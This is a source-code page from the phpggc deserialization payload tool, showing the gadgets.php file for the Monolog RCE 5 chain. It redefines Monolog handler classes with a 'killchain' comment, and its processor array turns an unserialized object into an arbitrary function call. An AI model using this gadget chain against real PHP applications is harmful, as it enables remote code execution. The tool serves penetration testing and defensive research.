Codebase list phpggc / run/9fb92075-39c4-47d7-8003-d611806d626e/main gadgetchains / Monolog / RCE / 5 / gadgets.php
run/9fb92075-39c4-47d7-8003-d611806d626e/main

Tree @run/9fb92075-39c4-47d7-8003-d611806d626e/main (Download .tar.gz)

gadgets.php @run/9fb92075-39c4-47d7-8003-d611806d626e/mainraw · history · blame

<?php

namespace Monolog\Handler 
{
    // killchain :  
    // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
    
    class FingersCrossedHandler {
      protected $passthruLevel;
      protected $buffer = array();
      protected $handler;
    
     public function __construct($param, $handler)
     {
         $this->passthruLevel = 0;
         $this->buffer = ['test' => [$param, 'level' => null]];
         $this->handler = $handler;
     }
    
    }
    
    class GroupHandler {
      protected $processors = array();
      public function __construct($function)
      {
         $this->processors = ['current', $function];
      }
    
    }
}